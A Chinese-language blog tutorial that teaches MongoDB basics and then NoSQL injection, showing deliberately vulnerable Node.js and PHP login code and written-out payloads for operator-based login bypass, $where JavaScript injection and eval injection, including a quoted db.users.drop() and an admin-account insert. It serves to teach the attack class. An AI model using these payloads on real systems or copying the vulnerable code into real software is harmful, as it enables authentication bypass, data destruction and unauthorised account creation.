NoSQL注入从零开始

182次阅读
没有评论

共计 4698 个字符,预计需要花费 12 分钟才能阅读完成。

什么是 NoSQL?

NoSQL 就是 Not Only SQL,我们知道常见的数据库除了有 Mysql,SQLITE,MSSQL 这种关系型数据库以外还有 MongoDB 这种非关系型数据库。
由于 NoSQL 具有较于传统数据库的大数据量、高拓展性、灵活等优势,使用量也日益增长。

c 基础

可以去 runnoob 看看
c 是一个文档型数据库,数据以类似 JSON 的文档形式存储。

MongoDB 的设计理念是为了应对大数据量、高性能和灵活性需求。

MongoDB 使用集合(Collections)来组织文档(Documents),每个文档都是由键值对组成的。

  • 数据库(Database):存储数据的容器,类似于关系型数据库中的数据库。
  • 集合(Collection):数据库中的一个集合,类似于关系型数据库中的表。
  • 文档(Document):集合中的一个数据记录,类似于关系型数据库中的行(row),以 BSON 格式存储。
    NoSQL 注入从零开始

MongoDB 将数据存储为一个文档,数据结构由键值 (key=>value) 对组成,文档类似于 JSON 对象,字段值可以包含其他文档,数组及文档数组:

NoSQL 注入从零开始
建议看下这个 20 分钟入门课程,对后面很有帮助mongodb 教程

基础命令

这里我们先讲一些 MongoDB 常用命令

数据库操作

show dbs   #显示数据库

NoSQL 注入从零开始

use test  #切换到 test 数据库

NoSQL 注入从零开始

值得注意的是 MongoDB 和 Mysql 不同,MySQL 不存在一个数据库的时候是无法切换到这个数据库的,但 MongoDB 可以。但是你需要创建数据后才能在 show dbs 看到这个数据库

集合操作

MongoDB 的集合有点类似 MySQL 中的表
我们可以使用 db.createCollection("test") 来创建集合

NoSQL 注入从零开始

或者是我们对一个不存在的集合插入数据时就自动创建这个集合了
db.test2.insertOne({name:"Rycarl"})

NoSQL 注入从零开始

NoSQL 注入从零开始

要查看数据库中所有的集合,我们可以使用 show tables 或 show collections
NoSQL 注入从零开始

我们可以在 find()语句里面插入条件查找我们需要的东西,这同时涉及到一个新的东西——

比较操作符

NoSQL 注入从零开始

$eq (等于)

语法格式:

{field: { $eq: value} }

查找年龄等于 25 的人:

db.collection.find({age: { $eq: 25} })

$ne (不等于)

语法格式:

{field: { $ne: value} }

查找年龄不等于 25 的人:

db.collection.find({age: { $ne: 25} })

$gt (大于)

语法格式:

{field: { $gt: value} }

查找年龄大于 25 的人:

db.collection.find({age: { $gt: 25} })

$gte (大于等于)

语法格式:

{field: { $gte: value} }

查找年龄大于或等于 25 的人:

db.collection.find({age: { $gte: 25} })

$lt (小于)

语法格式:

{field: { $lt: value} }

查找年龄小于 25 的人:

db.collection.find({age: { $lt: 25} })

$lte (小于等于)

语法格式:

{field: { $lte: value} }

查找年龄小于或等于 25 的人:

db.collection.find({age: { $lte: 25} })

$in (值在数组中)

语法格式:

{field: { $in: [value1, value2, ...] } }

查找年龄在 20、25 和 30 岁之间的人:

db.collection.find({age: { $in: [20, 25, 30] } })

$nin (值不在数组中)

语法格式:

{field: { $nin: [value1, value2, ...] } }

查找年龄不在 20、25 和 30 岁之间的人:

db.collection.find({age: { $nin: [20, 25, 30] } })

NoSQL 注入

和 SQL 注入原理一样是将代码和用户输入的边界混淆

nodejs

例如

const express = require('express');
const {MongoClient} = require('mongodb');
const app = express();

app.use(express.json());

app.post('/login', async (req, res) => {const client = new MongoClient('mongodb://localhost:27017');
  await client.connect();
  const db = client.db('myDatabase');
  const user = await db.collection('users').findOne(req.body);

  if (user) {res.send("登录成功!用户 ID:" + user._id);
  } else {res.send("登录失败");
  }
  await client.close();});

app.listen(3000, () => console.log('服务已启动'));

当我们的 Content-Type 为 application/json 时,后端会自动将 json 转换成对象导致 NoSQL 注入
假设我们传个
{“username”: “admin”, “password”: {“$gt”: “”}}

服务器后端将 password 的值实例化成对象传入导致 NoSQL 注入

这个 password 的值是{“$gt”: “”},就是大于空字符串的,只要密码存在肯定大于空字符串,即恒为真。

php

演示代码

// 假设这是你的登录处理逻辑
$username = $_POST['username']; 
$password = $_POST['password'];

// 程序员以为 $username 和 $password 一定是字符串
$filter = [
    'username' => $username,
    'password' => $password
];

// 直接将数组传给 MongoDB 驱动
$user = $collection->findOne($filter);

if ($user) {echo "登录成功";}

在 PHP 中,如果你通过 POST 或 GET 提交参数时使用了方括号(比如 username[foo]=bar),PHP 会自动将其解析为 关联数组

当我们传入 username[$ne]=&password[$ne]= 时候被解析为数组
会返回查找用户名不为空且密码不为空的用户,数据库直接返回第一条符合条件的记录(通常就是管理员),登录瞬间被绕过。

联合注入

类似于 SQL 注入,代码对查询语句进行了字符串拼接,然后直接查询:

$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";

可以这样构造:

?username=test'});return {username:db.version(),password:1};})//

MongoDB 支持 JavaScript,所以有了上面的操作,可以看到 payload 里利用了注释符,思路和 SQL 注入一样

不过现在的 PHP 等语言的驱动,好像不能直接拼接,必须要像之前的那样数组的方式来查询了,所以这个可能用处不大,但是既然支持 JavaScript,那么也就表明,我们可以借助 JavaScript 来进行一些攻击

MongoDB Server-Side JavaScript Injection

MongoDB 允许在服务器端执行 JavaScript,主要通过以下几个核心功能 / 操作符:

  • $where: 它允许你传入一个 JavaScript 字符串,该字符串在服务器上对每个文档进行求值。

  • mapReduce: 通过编写 map 和 reduce 函数来处理数据。

  • group: 分组查询(现已基本废弃,但旧系统可能存在)。

  • eval (已废弃): 直接在服务器上运行一段 JS 代码。

当你在代码中拼接字符串并将其传入这些函数时,攻击者就可以通过闭合你的字符串,插入他们自己的逻辑,甚至执行恶意系统操作。

比如这里

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { 
    var username = '".$username."';
    var password = '".$password."';
    if(username == 'admin' && password == '123456'){return true;}else{return false;}
}";
$query = new MongoDB\Driver\Query(array('$where' => $function));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {foreach ($result as $user) {$user=(array)$user;
        echo '====Login Success====<br>';
        echo 'username:'.$user['username']."<br>";
        echo 'password:'.$user['password']."<br>";
    }
}
else{echo 'Login Failed';}
?>

如果我们传入 payload: ?username=test&password=a';return true;var c=',js 就会变为:

function() { 
    var username = 'test';
    var password = 'a; return true; var c='';
    if(username == 'admin' && password == '123456'){return true;}else{return false;}
}

MongoDB Shell 注入

在 php 中 MongoDB 是有 eval 函数的,如果 eval 执行的语句里面有拼接用户输入就会导致 shell 注入

比如

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( ['eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand('test', $cmd);
?>

这里直接将 $username 拼接进语句然后执行 shell 命令,我们可以闭合后执行其他语句(有点像堆叠注入)
我们同样可以构造 payload: '});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'进行插入操作,因为是直接操作的 mongodb shell,所以在 shell 里能做的增删改查,我们都可以做。

参考文章:
https://chenlvtang.top/2021/09/29/NoSQL%E6%B3%A8%E5%85%A5%E3%81%AE%E5%88%9D%E8%A7%81/

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2026-03-06发表,共计4698字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码